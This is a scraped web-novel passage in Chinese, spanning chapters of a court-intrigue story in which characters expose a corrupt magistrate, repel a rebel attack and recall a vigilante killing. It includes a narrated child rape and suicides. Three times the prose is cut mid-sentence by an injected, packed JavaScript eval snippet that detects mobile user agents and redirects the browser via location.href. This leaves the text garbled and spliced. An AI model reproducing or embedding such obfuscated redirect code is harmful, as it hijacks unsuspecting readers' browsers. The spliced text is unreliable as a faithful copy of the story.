因为刚才换衣裳,没忘了把乌木剑和甩手刺带上,但是忘记带充作暗器的碎银子,铜板也没有。 罗易把石头手珠褪下来,好长一条链子,在手腕上绕了好几圈,乍一看足有几十颗珠子,两串钱买这么多碎石头,好像也划算,放在韦祎手上。 乌木剑悄悄露出半寸寒芒,把串珠子的细绳割断,珠子滚落进腰间口袋里。 指一指头顶,在罗易的掌心写下:“上面有刀兵声响,乱。” 罗易点点头,两个人继续站着不动听墙角。 “栾有徳忠于你啊?你可知道,在我们来华阳的第一年,他纳了两房美妾。” “记得,你不喜别人纳妾室,多有微词。” “纳别人便罢了,栾有徳那两房美妾,是州里的人给他娶的,从此之后,他就帮州里传递你的消息。他那妾室总说要去定沙郡探亲戚,每个月都要走一趟,就是传情报的。” “四年前就……这不可能!” “在他纳妾室之后的三个月,我确定了就是他在传消息,好在你那时候作风刚直,所以传的消息都是些无关紧要的,也就传了。” “你早就知道,但你不告诉我?”栾凤觉得这更不可置信了,“四年前你就开始瞒着我?” “又过了几个月,有几个路过的行商想买下这栋宅子作为私宅落脚,我查了记录,出价不错,与官府应该拍卖的价格持平,按说也就卖了,正好把府库的旧账冲掉。但是你让人改价目,不让买这座宅。那时我就来这里看过,厅里才挂了一幅画而已,冷冷清清的,刚才看到,这里已经书画成林了。栾有徳要向州里报告宅子里藏了赃物的事,被我给压下来,从此之后这兄弟二人真是有福气了,你给钱,州府给钱,我给一份钱,这次你犯了大事,抛尸长史,杀将官,他们一定要报给州里,州里许他们升官呢。” 栾凤闭上眼忍了忍,“看来,他们二人知道的,你都知道了。”声音变得平稳起来,“所以你不能让他们活着。四姑娘,你帮我清理了钉子,我该谢你,可你为何来这里阻止我?他们这些人,昨夜离开之后不放心,又派了一个人折返回来,没看见那个杀手,唯独看见了我,认定了是我杀人,所以才要闹事,我不能让他们回定沙郡。你先回府里等我,这些小事,我们回家慢慢说。” “灵均,我是来劝你收手的,我们可以留在华阳,重新开始。只要有时间,我们可以把这些贪腐的赃物都处理掉,你是个好官,我知道你可以做个好官。” “是你太天真了!你们家高高在上,生杀予夺,自然可以做出个不恋权力,不贪金银的样子!地方上一级压过一级,我拿了那些金银字画可曾私自留着享乐?我留着那些是因为每年来督察的御史、上官,我若不把他们打点清楚,一切功劳都能一笔勾销,再加上些恶语谤言。到时候害岳丈大人在朝上丢了面子,我又如何担待!” “为了我爹?”柳爚听到了好笑的事情,一边咳嗽一边笑个不停,“你以为我爹不知道地方上风气如此吗?你看州里,他们宁愿花钱在各郡守府里买通钉子专揪错处,都不愿把这精力花在防范敌国间谍上!” 柳爚长吸一口气,止住笑,“正因如此!正因如此才更需要有人坚持!你从前不也这么认为吗?你有我爹在,管它是谁说你坏话你都不会丢官帽的,现在,你不是为了什么百姓,你只是为了你的私利而已,且不敢说出来,你……你是个懦夫!” “你闭嘴!”栾凤一步步逼近了柳爚,忽然抓住柳爚的肩膀,往前一拉借力,再一推,把柳爚的头撞在了墙上。 一声闷响,柳爚竟没叫出声来。 听到这,还能听下去就不是人了,墙后面的二位三步并作两步,动身绕过墙。 不过,背对他们的栾凤并没有转过身来看,大概是怒火冲头,根本没听见。 “我为什么不敢说?因为我看出来了,你柳爚心爱的根本不是我栾灵均,而是一个光明磊落才华横溢没有私心的大英雄大圣人!” 栾凤把双手从柳爚的肩膀上移动到了柳爚的脖子上,逐渐收紧,“既然我当不了圣人,你就一定会离开,而我,绝对没有办法承担与柳四姑娘闹翻的后果。你们柳家哪叫嫁女啊,女子都骑到丈夫头上去,荒谬至极!” “对不起了,四姑娘。”栾凤两只手用力,但他很奇怪,为什么柳爚的眼神一点都不害怕、不意外,甚至有点尴尬。 柳爚正面对着韦祎所在的方向,当然能够看见这两个人从墙后面乱七八糟地跑了出来,两张脸都是一副不知作何表情的怪样子。 “灵均,那个……”韦祎伸了一下手,摸了栾凤的后背,立刻收回来整一整自己的衣领子。 好似被一股暗劲纂住了心脏,天旋地转,栾凤应声而倒。 “那个,他可能是太过激动,心血逆流,晕倒了。”韦祎解释。 柳爚从栾凤的手里解放出来,摸着自己的脖子踢了一脚地上倒着的栾凤,“是吗?” “你真的没打他?”罗易问。 “没有,没有,他是自己晕倒的。”韦祎摇头,转移话题:“哎,看起来,他头上凝的血成功洗掉了!” “现在轮到我不能洗头了。”柳爚伸手去自己后脑勺摸一把,满手都是红色的。“你们两个早就来了?我还想去找你们,钱将军说你们出去了。” “呃,我们本想来此打探消息,谁知看到了栾大人,只好躲起来。”罗易照实解释。 “听了这么久,有意思没有?” 两个人嘿嘿讪笑顾左右而言他。 “小祎,他不会醒吧?” “不会,至少能昏迷三个时辰。”说完这句话,韦祎补充道,“他是自己晕倒的,这是我猜出来的!” “知道了!不要再重复这句话了!” “平焕这些日子总是晕倒,是不是你偷偷打的。”罗易合理质疑。 “不是!” “那就好,等会儿有机会,要放我和灵均独处一会儿。” “小爚姐,虽然势在必行,但是在此时此处,未免有些难以脱身吧。”罗易提醒道,此地只有这几个人在。 “借口马上来。”韦祎指一指通道那头,原本只有地面上嘈杂,现在刀兵碰撞的声音已经出现在地下密室里面了。 一伙人举着刀冲进这条通道,喊着要捉住郡守给长史大人复仇。 离得老远得时候,就把甩手刺拿在手里,每一根飞出去的甩手刺都命中要害。还要最后留下几个人逼近到栾凤近前来。 到了地方,韦祎试着停手,好让他们把地上的栾凤砍了。 谁知道柳爚从拐角后面冲出来,挡在栾凤身前。 “喂!”乌木剑出鞘,割断了那人的喉咙,毫无悬念,这人的血也喷了柳爚一身。 视线向下看,发现刀已经刺进了柳爚的腹部。 “啊呀!你在干什么呢!”速度解决了剩下的几个杂兵,冲过去查看伤势,“看起来不太深,你压住伤口,我给你止血。” 罗易也从墙角后面跑出来,“我来帮忙。” “没事没事,不流血了就好。”柳爚竟然自己站直,四顾检查:“现在可算看起来像了。” 像是伉俪情深,也像是栾凤被叛军杀死。 “你们两个不想当目击者就去墙后面待一会儿?” “不想不想,子隽,走啊。”罗易拍了一把韦祎,随后自己先跑了。 “你何苦呢?”韦祎问。让栾凤被暴乱的叛军砍死有什么不好? “是我的错,我要亲手解决。” “怎么能是你的错呢,那是你丈夫又不是你儿子,变成坏人是他自己的错。” 墙后伸出来一双手,把韦祎给强行拽了过去。 韦祎:“她受伤了。” 罗易:“我也看见了,不受点伤怎么演得像?她是对的,你就别管了。” 柳爚在墙那边“办事”,这两个人在墙后面议论。 过了一会儿,回去看了看地上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14983002|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栾凤,“砍得挺专业。” “那当然了。”柳爚扔下刀,得意道:“怎么说也是你姐姐。” “这种事情就不要跟我扯上关系了!”韦祎生气呢,柳爚何必挨那一刀?“还姐姐呢,你没比我大几天!” “快点走,等会儿我这一头血要洗不掉了!我头上有伤,不能泡热水!”柳爚踉踉跄跄地抱怨,“但愿刚才喷了我一身血的那位没有什么奇怪的病,我都没有被灵均给掐死,反而被血液感染搞得死掉,就太好笑了!” “那你别去给灵均挡刀啊?”韦祎瞪她。 “别……别讨论这件事了,不如说一说外面发生了什么。”罗易夹在中间,试图阻止这次吵嘴。 柳爚直到一个时辰前才弄明白发生了什么。 又觉得危险,又觉得这事儿有些可笑。 地处大齐腹地的通商要道,华阳城内允许异国人居住,不以为奇,燕人街、宁人街、秦人街都是城内非常热闹的地方,别具风情。 经商胜地,也有异国宗教的寺庙。 晚饭时分收到了定沙郡紧急送来的军报,说是定沙郡的斥候部队前些日子在凉州至华阳沿线截获了一些间谍的密报。 栾凤忙着搞他的下毒事业,不在府中,军报紧急,送到了柳爚的饭桌上。 这军报的内容是,燕国要赶在开战之前攻其不备,先行夺取凉州、丕州等西北部重地。靠着斩首战法夺取郡守府或州太守府,瘫痪齐国西北部。 这不是异想天开吗? 比如,越过驻扎重兵严防死守的定沙郡,先潜伏在异国人特别多的华阳郡,组织人手,启动暗探,攻占郡守府,再放军队进来,宣布戒严,直接切断齐国内部的交通。 并不能持久,很快就会被定沙郡齐军反扑。 但是,不图久守,拖一天就赚一天。 只要成功,就能打掉齐国开战的锐气。 这戏码好熟悉?今天就有一支叛军要攻打郡守府啊! 合着是这次州府派来的五百人有问题。 长史是无辜的,但长史的几个亲信将官中有燕国潜伏进来的暗探,就算长史没有意外被杀,他们也是要杀掉长史搞个借口攻打郡守府的。 第一次攻打不成,这些被羁押的兵卒自知参加暴乱不会有好下场,更容易被煽动造反。 这不,外头正打着。 幸亏提前拿到了军报,赶着调配了兵力防守。 “其实还是晚了点,我们的岗哨眼睁睁地看着他们冲进了武器库。”柳爚很不好意思,但她现在有气无力的。 就算华阳郡的防军无能,但运气好,华阳城外正巧驻扎着三千多韦祎带来的使团军。 城内一乱,钱氿与柳爚打了招呼后放出传讯烟花,按照约定,肖丰会带人进城援助,总之先守住郡守府不能陷落。韦祎那会儿已经在地下密室里,看不见天上的烟花,也就不知道出事了。 “这么荒谬的事儿竟然差点成功?” 不仅燕国的这个傻计划好笑,这事儿差点就成功了更是荒唐。 “可不?”柳爚几乎是倒在了罗易的怀里,“我还想,若是灵均的下毒计划成功了就不用打架了,事后谎也,咳,不难圆。” “我的天,我来背你走。”风寒咳嗽竟敢让自己中刀,身上有伤口的时候才能感受到咳嗽是一种全身运动,震到伤口不在话下。 没走几步就到了挂着苍蝇水果名画的那个房间,连通着回到地面的阶梯。 地道里死的死,逃的逃,只剩下韦祎他们三个活人,可外头的情形未定,贸然带着她们俩出去,不是好主意。 “要不,你们在这等我,我出去看一眼?” “你就不怕还有人藏在这地道里?”罗易全身都是被柳爚蹭上的血迹,正巧,她现在穿的是柳爚送她的那件绣荔枝的新秋装。 柳爚用血手在罗易身上抓了好久之后,定睛一看,这衣裳眼熟。 地面上声音太嘈杂,暗室里道路盘根错节,凭借感知,判断不了这地下是否还有人藏在暗处。 “这样吧,若是有人跳出来,就麻烦你自己杀一下。” 韦祎把腰间的乌木剑解下来递给罗易,“这剑很好用,特别锋利,不用多大力气就能捅个对穿。” 78. 头一遭 罗易把剑接过来,“希望我没这个试验的机会。”转而立刻问,“那你怎么办?” 刚才把甩手刺从尸体上挨个拔下来收进口袋重复利用,为什么不记得在地上拣一把刀呢? 真是个令人无法解答的好问题。 现在跑回去捡?往返要半刻钟,看起来傻又没什么意义。“我只是去密道口看一眼,立刻回来接你们,只要不出现什么一出密道就万箭齐发的场景,应该没问题。” “好吧。” 今天是乌鸦嘴开光。 打开密道门,风声入耳,外头有些许月光,几道流矢穿透正房的窗户纸飞过来。 在地上滚了好几圈,躲开,抓起一支看看,上等的弩箭,精锐神机营才能配。韦祎待的京城城防军都没有这玩意。 定沙郡不愧是全国出名的北方军,这都有!还能随便带出来到内地用?这群人名目上只是来抓间谍,没必要带精兵锐器,真是有鬼在里面。 正想着,外头又是一阵弩箭飞来。 韦祎闷在正房里面,诚然外头的看不见韦祎,甚至不知道正房里有人,他们就是乱放弩箭。但韦祎也看不见外头什么情形,太嘈杂,听声辩位亦是不准。 犹豫不如推门。 踢开门就往旁边闪过去,正对着门口站着一个叛军,可能想着要躲进正房里,正房门开,吓他一跳,捏了扳机,上弦的弩箭擦着韦祎的胳膊飞过去。 幸亏没有整个人站在门前去开门。 一颗小小的翠绿石头珠子从门内飞出来,打在额角的穴位上,登时倒地。 正值交战时间。 韦祎出来,了解情况。 五百人拿到了武器之后,分了三百人去打郡守府,另外二百人被柳爚布置的防军拦住,围住了大宅开始绞杀。 大宅内的战斗将近尾声。 刚才在门口“缴获”了一把劲弩和一盒弩箭,韦祎换箭上弦瞄准的速度和准度岂是一般兵卒能比?不到一刻钟的时间,附近转了一圈,用完了捡来的三十支弩箭,中了二十九支,所以,至少在正房附近,战斗结束了。 迅速赶回密道中。 罗易抿着嘴唇皱着眉,衣裳一塌糊涂,正试图用手帕擦掉剑上沾的血,柳爚伏在桌上没有动,地上倒着一个男人。 看穿着,大概是刚才密室私牢里关着的军官之一。 “厉害啊逸希,这可是军官。”韦祎眼神游移,最坏的两种预估情况分别发生在了两边,今天真是不走运。 罗易把乌木剑递回给韦祎:“都说危难时刻会激发人的潜能。” 震掉剑上的血珠,收回剑鞘中,抱起有气无力正在咳的柳爚:“你们没有伤到吧?外面安全了,我们先出去。” “可惜,这人怕是不想参与叛乱才躲进了暗室的通道中,隔了许久跑出来,谁知命丧此地。”地上的尸体有两道伤痕,一在胸口,二在颈部,看得出来是罗易补刀了。 “我们没伤到,倒是你,这胳膊是怎么了?”罗易看到了韦祎刚才被弩箭擦过留下的伤口,“先包扎?” 刚才要给柳爚包扎止血,罗易脱了件中衣,手头剩一点布条条。 “出门正赶上有人射弩箭,擦破皮而已,无妨。” “刚才怎么说的,一出密道万箭齐发,这是唯一一种不可能的情况出现了?” “对,我本觉得地下不可能有歹人再出现,感觉的也不对。幸好把剑留下了。” “若是你把剑留下,地下没有歹人出来,你在地上还受伤了,咱们两个都过意不去,这位倒霉鬼出现的正是时候。”罗易指一指地上倒着的那位,“人生第一次!回头喝一杯庆祝。” “什么?” “第一次亲手弄死比老鼠个头大的活物。” “我……也是。”柳爚挣扎着抬起头来,“不过我小时候在农庄玩,粗心压死过一只兔子,比老鼠个头大。” “既然如此,需要上一堂新兵战场心理辅导课?需要的话等会儿让钱氿给你们讲。” “有这种课呢?你不能讲吗?” “我倒是知道讲课内容是什么,但是我没讲过,应该讲不出效果来。” 玩笑而已,都清楚暗室里发生的事情是秘密,不可再让任何人知晓,补刀让里面的人都死透,正是这个原因。 因为正房外面已经被韦祎清理了一遍,聚集了柳爚带来的人手,打起火把,站到房上去,观望远处最后一小撮叛军负隅顽抗。 出密道前,为了防备仍有敌人出没,换成罗易扶着柳爚,韦祎提剑戒备,走出去之后,柳爚身边的女府官赶忙把柳爚接过去,韦祎不放心的看了一眼,好演技!一脸悲痛,很到位。 “包扎一下吧。”罗易打量着韦祎胳膊上两寸长一指宽的血口子,不淌血,但红色一片,看着怪吓人的。 韦祎解开小臂上的护臂,散开袖子挽上去,用另一只手去拿罗易手里的布条。 “想什么呢,当然是我给你包扎了,你扶着袖子就好。” “劳驾。” 她应该只是纯粹地觉得给人包扎有意思,才这么干,韦祎想。 “这里怎么有这么大一块伤?”一边包扎,罗易拉着韦祎的胳膊看了看,入眼便是小臂上有一块很大的伤痕,很深,是旧伤了,看不出是什么兵器造成的。 “看哪里呢,刚才弄的伤口在上面。”罗易的目光好像有温度,光着一条胳臂被她抓着,竟然会让人觉得不好意思,有些脸颊发热。 “哎?我不该问?难不成有什么悲惨故事?” “那倒是没有……但是这,说来话长。” 伏在女府官身上掩着脸的柳爚突然抬起头来,“逸希,小祎……咳,那是被猪啃的。” “你就等着说这件事呢吧?”韦祎扭头过去,柳爚没晕过去,也没走远。 “对啊。”柳爚缓慢点头。 “对什么对,快去找医师包扎缝针!这儿交给我。” “不,不行,这儿乱了,郡守府也正乱着,我能去哪儿?不如留下。” 说得对,要赶快结束这边的战斗,再回去检查郡守府的情况。 “猪?什么猪,野猪吗?”罗易左右看看,显然这是段经年的趣事,愿闻其详。 “家里养的猪,别在意这些小事了,我去前面再看看,这里有这么多人在,应该是安全的。” 忙完了汤饼街旧宅,带人手回到郡守府,看到了浑身都是血的钱氿和肖丰,正站在门口等他们。肖丰是穿了甲从城外来的,钱氿根本没把全套的铠甲带来郡守府,所以,又被喷了浑身血。 “你们没受伤吧,队里有伤亡吗?”韦祎下马,问。 “没有以及没有。” 韦祎:“再好不过,你又要泡热水了。”钱氿刚泡的澡白费了。 钱氿很不满今天的遭遇:“我今天不仅要被泡熟还得洗两套衣裳。” “没别的事我就整队回去了。”肖丰也很烦,他回去要把盔甲拆开冲水,要洗他自己,还要洗衬里的衣服。“你替我写报告。”拍一把钱氿的肩膀。 “什么?”钱氿怒,“你怎么能当着中郎将的面这么无礼地让别人帮你写报告呢?” “是你叫我来的,所以你写,”停了一会儿,“拜托了!” “那我就勉为其难的帮你写一份吧,”钱氿点头同意,“既然你都诚心拜托我了。” 韦祎在旁边听得很八卦:“我是不是应该留肖丰住一晚你们好好沟通一下报告的事儿?” “那倒是不用,这一个多月都没同他一起走,轻松不少。”钱氿拒绝了,已经走远好几步的肖丰回过头来瞪了他们两个一眼。 自己八卦缠身,不要掺和他们两个的事情比较好。 柳爚很坚强地撑着把府内的事情处理清楚,一切安排得井井有条,甚至可以一边被缝针一边口述了一封奏报写出来,拿来看看,沾了两个血指印在公文上,“可以,盖我的官印封口,加急送到定沙郡丕州太守府去。 在门外等着的韦祎和罗易惊呆,类似于一边下棋一边刮骨疗毒的戏码,都是留给关云长那样的武将的,放到柳爚身上就吓人了。 罗易提出:“不对啊,既然关云长能够一边下棋一边刮骨疗毒,那理论上大家都是可以做到的。你可是个将军,你有试过吗?” “我不喜欢下棋,受伤就够了,还要雪上加霜的下棋吗?”韦祎仔细考虑后,恍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说是只喝一杯就是只喝一杯,放下酒盅,“这段时间和你说了不少话,总是中间隔了张桌子,今天取得了一大飞跃,理应离你更近一点。” “所以?”韦祎不由自主地摆起了防御姿态,后背挺得笔直。 “所以,”罗易把脚垫在屁股下面,直起身,两手扶住塌上的小茶几搬起来,俯身放到了地上,“把这个搬走,哇,我们现在坐在一张软榻上!” “我们刚才没有坐在一张软榻上吗?” 这算什么质的飞跃,搬走中间的小茶几只能算作是点清本质而已! “你也不喝了?今天你得到了奇怪的并且没必要的人生经历。”稍后,补充道:“我指的是坏的那一方面,或者你想回忆回忆你是如何干掉久经沙场的边防将官,骄傲一下?” “不喝,就算真是坏的那一方面,我也不需要喝酒压惊。他跳出来要胁持我们逃离郡城,所以冲了过来,我拿剑,他就自己穿在了剑上,我拔剑他倒地,然后我再补一剑。一切都很正常,他是坏人,所以我弄死他没有什么可难过的。可惜是可惜,但谁让他倒霉遇上了叛乱呢?” “语气好耳熟,这硬汉发言你是从隔壁倒霉公主那里学来的吗?”看罗易一副“我最冷酷”的样子,别别扭扭的,终于想起来,芜夙骂人的时候就这表情。 罗易回忆到了芜夙说话的语态,“真有点像,不成,我得想想,换个表情。不说我,说一说你好了,今天死的可是栾大人啊。” “灵均从前真的能算是我的好友,不过,他要死这件事都预警好几天了,今天又听见了他近些年的所作所为,早已不是我那个朋友,没有什么大不了的。” 韦祎今天几乎没有露出伤心的情绪来,让罗易觉得疑惑,明明前些日子被气得神情恍惚。 “没什么大不了的?子隽你杀过很多人吗?” 照实回答,听起来会有点吓人,不过既然被问到了,不想撒谎,二者的心理负担差不多重:“其实,嗯,真的不少。”只说今天,往少了数也有四十多个,眼角余光瞥向门的方向,想溜走了。 秉持着“过后就不要去想”这一鸵鸟原则,没有正视过这件事,被罗易这么一提醒,自己的性格跟杀人如麻完全不配套啊! “不少是多少?”罗易来兴致了。 “估计,也没过千人。”回答声音渐弱。 79. 千家雨 “那我这么问吧,有多少是为了你自己杀的。” 将军是干吗的,国家的武器啊,不履行职责也不成,所以,那些都不是为自己而死的,眼睛一亮:“哎?这么一算就没多少了!” “没多少?竟然不是一个也没有?” 十五岁刚一出山,没回家当韦少爷的时候,就已经沾上人命。 和罗晏两个人从徽州罗家大宅溜走,北上去京城的路上,住进了一座偏僻的山间小县城里面。 罗晏是听说了这个县城附近的山林里有个高人留下的洞府,耍赖拖着韦祎一起住在县城里,每天都出去找找,遇上阴天下雨就不去找了。 房间里待不住,就在客栈旁边的酒馆里听评书听弹唱,客栈和这座酒馆之间有一道连廊,下雨天往返都不用打伞的,小城生活分外安详。 偏偏赶上秋雨连绵,时不时打雷刮风,只能往这间酒馆钻。 天天都能看见一对祖孙在酒馆卖唱,花甲之年的老太太弹琵琶,听着弦音都不准了,不好听也不好看,十二岁的小孙女唱得不怎么样,好在会说吉祥话,勉强糊口,罗晏掏过五两银子,想让她歇两天,嗓子都哑了,无论这二位在酒馆的哪一桌子前唱,都能听见,听得耳朵疼。 没用,第二天准时出现。 好几天之后,从山里回来,这对祖孙突然就没了踪影。 浇着大雨跑回来的韦祎劝罗晏不要去找,不来正好清净,不用听那个弹棉花一样的琵琶了。 酒馆小二也奇怪祖孙二人为何没来,罗晏问了,就细细告诉他这对祖孙的住址。 在县城郊外仓储杂院的小偏房里,仓储行的老板发善心,把那间陋室租出去,只要她们每月二串铜板。 老的极老,小的极小,不能图她们帮着看仓库,依旧叫其他人住在门房看仓库。 罗晏惯于不走正门的,二人冒雨跳进了仓储院,在连排的仓库里转悠了小半个时辰,才找到祖孙二人住的偏房。 老太太看见给过银子的大善人来了,扑地大哭。 原来,仓库门房那位大汉,垂涎小孙女久矣,偶尔占占便宜也就罢了,前天趁着老太太缝两针衣裳的时间,把小孙女抓去了门房糟践了。 完事儿之后竟给送了回来,扔下两串钱就走。 老太太看着孙女奄奄一息,口鼻里全是血污,两个大乌眼圈,扒开眼睛看看,眼球是通红的,一边的胳膊垂软着,显然是断了。 搞成这副样子,传出去名声就完了。本来就是卖唱的,已经嫁不了好人家,今天的事情声张出去,就更不行了。 不敢送去医馆,叫来相熟的医婆草草处理,救醒过来。今天精神好一点了,小孙女坚持要去官府告状,和她奶奶互相搀扶着,一步一挪去击鼓喊冤。 门房大汉是县衙刑名师爷的远亲,懂点律法,被“请来”县衙协助调查之后,直言是这老妇人让小孙女出来卖皮肉,自己看她可怜,给她留了两串钱。 律法不准年岁未到的小女孩作妓赚钱,在这对祖孙家里搜到了门房大汉给的两串钱,刑名师爷当庭要将老妇人收监。 小孙女只好说是自己的主意,与奶奶无关,于是小孙女就被收监了。 到了晚上,老太太见到了找来的两位少年。 “老婆婆,你待如何?我们带你去郡城告那县衙徇私可好?”罗晏问。 老太太不想去上官那告状,赢了又如何?她想让门房那个狗东西娶了小孙女,做丫鬟做妾室都行,只图一生有靠。 在门口给自己衣裳拧干水的韦祎听了这话差点没栽到泥巴坑里去,什么玩意? 罗晏也满头问号,试探着问:“老婆婆,您是不是饿昏头了,咱们吃点东西慢慢说,您是要把您那孙女,嫁给欺负她的坏人?” “是啊!只求他能松口把小丫娶回家,不然,小丫这辈子就算是完了!”老婆婆哭得昏天黑地。 与世隔绝长大,两个少年才知道,外面的世界是这样的。 没等韦祎和罗晏做任何事情,第二天一早就传出了消息,小孙女在牢里以头抢地,一命呜呼。 匆忙赶去仓储院的小偏房,老太太已经用腰带把自己给挂在房梁上了。 仓储院老板骂了几声晦气,但他好人做到底,二两银子弄来两口薄棺材,一老一小,乱葬岗上挖个坑了事。 压着满心疑惑往回走,路过小酒馆,耳朵好使没办法,在街上就听见了那门房大汉正在酒馆里炫耀自己终于尝了嫩水葱,馋许久才得已一探真味,好生受用,一定会交好运。 门外电闪雷鸣的石板路上,罗晏抹了一把脸上的的雨水,“最近不顺,找洞窟找不到,天天下大雨,闲的不干点什么事情说不过去啊。” “你就不能进屋再说,也不怕被雷给劈到。”伞被罗晏翻墙时弄坏了,只好冒雨跑回来,还要中途停下来说话,要命。 一般韦祎不表示抗议就是同意了。 总之,过了两日,仓储院的门房大汉消失了踪迹,无人知晓他去了何处,只知道县城附近山崖极多,喝醉了掉下去,尸骨被狼吃了不足为奇。 有一有二就有三。 韦祎后来在京城进宫做侍卫了,宫墙里面与世隔绝,宛若云端,眼观纵横格局,不见市井小事,没见着就当作没有,也没时间。 估计罗晏这些年满世界溜达,没少“行侠仗义”去。 “少侠壮哉!”罗易一拍大腿,发现了新鲜事,“有趣,小爚姐要私下里对付栾大人,我想着你会反对,但你只是惊讶并不反对,看来,我本以为你是守序善良,原来你是混乱善良,侠肝义胆,不会真的以律法为规矩。” “律法总归是人写的,执法的也是人,有对有错,前瞻的少,漏洞的多,前朝不还规定蓄奴是对的吗?不过,我才没有什么侠肝义胆,要是有,更得烦死,再说,那人只是失踪了,谁知他去了哪儿?” “晓得了,晓得了,我们在栾大人的事情上算是共谋了,怎么会把你的故事说出去呢?”罗易笑,“要不要我再说个我的秘密跟你交换啊?” “不必。”今天事情太多,才不想听更多可怕故事。而且,怎么觉得共谋这个词汇,听起来压力这么大? “亏得我想了个说辞等着安慰你,既然你不会在秩序上有不安,那就在朋友的角度听一听?” “愿闻其详。” “我听过一个说法,每个人能拥有朋友的数量是恒定的,每减少一位就是给新人腾出空地来,每增加一位势必会减少一位。你最近增加了一个朋友,所以天理循环,你的列表上就要被删除一位。”罗易点了点自己的胸前,示意这位新增的人就是她,“总的来看,你的朋友数量并没有减少。” “多谢。这歪理我怎么好像听壹通说过。”就是临出发前在京城喝酒时说过,管他什么道理,从罗晏口中说出来都像是歪理。 “这是我告诉他的,你觉得是歪理啊?”罗易假怒,直起身子叉腰。 韦祎赶忙补救:“从你这说出来就不那么像歪理了。” 来不及了,同一瞬间,罗易想挪腿,好像被自己的裙子绊到,在榻上向着韦祎的方向扑过来。韦祎没敢动,自己不坐在这挡着,罗易就要撞上后面的木靠背。 二人中间也隔了一尺的距离,又把碍事的小茶几拿走了,罗易毫无阻碍地达成了计划。 “原来如此。”见罗易果然没有从怀里起来的意思,她把手环绕过韦祎的腰,借力把腿也挪过来,舒舒服服倚着这位人形靠垫,人形靠垫只好点头认命。 “什么原来如此?” “嗯,没什么。” “你不乐意?不乐意怎么不躲开?” “我刚刚受伤了,动弹不得。” “是个好借口,这位宫女姐姐,被猪咬是怎么一回事?” “不告诉你。你想知道可以问其他人,我真挺好奇这事儿被壹通给传成了什么样子。” “那明天我去问问小爚姐,以后得空再问问我堂哥,看看有什么出入没有。” “从前我看灵均和小爚姐,才貌相配,神仙眷侣,就和我爹娘或者其他几个表姐表姐夫一样,竟然走到如今这步田地。” 刚才柳爚包扎完毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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罗易起身,稍微往后挪了挪,空出一点空间来,看看韦祎身上:“说的对,哪有人半夜沐浴了之后要把外套穿上的?” 想到了夜里会被罗易找来,韦祎洗漱之后换了套新衣裳,穿得整整齐齐。 “也好,是该休息了,放你走之前,亲我一下。” 发展太快,瞳孔都放大了,“嗯?” 管它近看远看,罗易真是漂亮啊,身上的气味很好闻,并非香料的味道,分辨不出是什么。 “我等着呢,来啊。”罗易发现,两个人都坐着的时候,身高差距就没那么明显。 考虑老半天,趁罗易得意洋洋时,迅速靠近,偏头,嘴唇贴了一下子她的脸颊,然后迅速回到原位。 真的是轻轻贴了一下,连个声响都没有,罗易差点没发现韦祎竟然有所动作。 轮到罗易瞳孔放大,“哈!就这啊,就这值得你踌躇那么长时间?” 罗易扳住韦祎的脸,准备让他见识见识什么是亲一下的标准,韦祎也没动,紧张兮兮地等着。 果然是堂哥说得对,这位不明确提出反对就是不会有反抗动作了。 手底下的感觉有变化,刚才只是稍微有点紧张,现在韦祎脸侧向窗户的方向,整个人的状态是紧绷的,“后院方向有异响。”凝神听了一会儿,他小声解释。 罗易立刻松了手,从软榻上跳下来,飞快地穿鞋整好裙子,“又来?毁了两套衣裳不够,难不成今天要换三套衣裳?” 侧耳听,转述给罗易,“府兵喊着进贼,去看看。”趁着罗易不注意,把被偷偷解开的两个扣子重新系回去。 出事了是真的,不是为了逃走找的借口。 两人一起走出房门,外面的各队戒备府兵都动起来了,钱氿和校尉们也骂骂咧咧跑了出来,谁都不想继续泡热水洗头发里的血迹了,已经两次了,今天真要泡熟。 晚上解决的是燕国的阴谋,华阳郡西域间谍的事情没解决,他们的和亲公主正关在郡守府里面。 对了,周冲在外头正不知道犯什么傻,甚至没弄清楚他为什么要去拦截杀害丕州长史。 80. 惊夜里 府内吵吵嚷嚷,只穿着里衣的云攸纾也跑了出来,“逸希姐姐!”看见罗易,立刻投奔她去了,“刚才好可怕,府里到处都是暴乱的叛军,幸亏有肖将军带兵过来救我们,你晚饭后没在府里,不然一定要吓到,你去哪里了呀,我等了你好久都没回来。” “我和子隽出门去随意走走,平焕这么勇敢,没有被叛军吓到吧?”罗易打趣他。 云攸纾一边撒谎一边脸红,“当然没有!” 想要知道前方的情况,但钱氿是坚决不往前去了,“怎么着也该轮到中郎将泡热水了吧?” 韦祎只好自己去正交战的位置看,留着钱氿守在这里,罗易拉着云攸纾往钱氿身后一躲,钱氿心里觉得,这二位也没必要站自己身后,因为他只是随便站在院子中而已,说不定敌人从身后来呢? “逸希姐姐和韦子隽单独出门?难道你们是去,去约会?” “怎么啦,平焕不想让姐姐出去约会吗?” “为什么要和韦子隽一起?他不是这儿的将军吗,平时走到哪儿都要带着我,偏偏是遇到危险的时候擅离职守!” “原来是这样啊,回头你见了他,就说给他听,批评他,好让他下次用心保护你。” 这二位站在身后,能可以清楚地听见他们在说些什么,钱氿想,不要挪地方,就站在这儿好了,挺有意思。 院子里面,芜夙那间屋子一直一直有剧烈地砸门声传来。 大家不太想去跟她搭腔,但架不住她一直砸,等会儿把新闯进来的歹人给招来这间院子就糟糕了,钱氿往罗易的方向看一眼,“罗小姐,要不,您出马去跟她说说?” 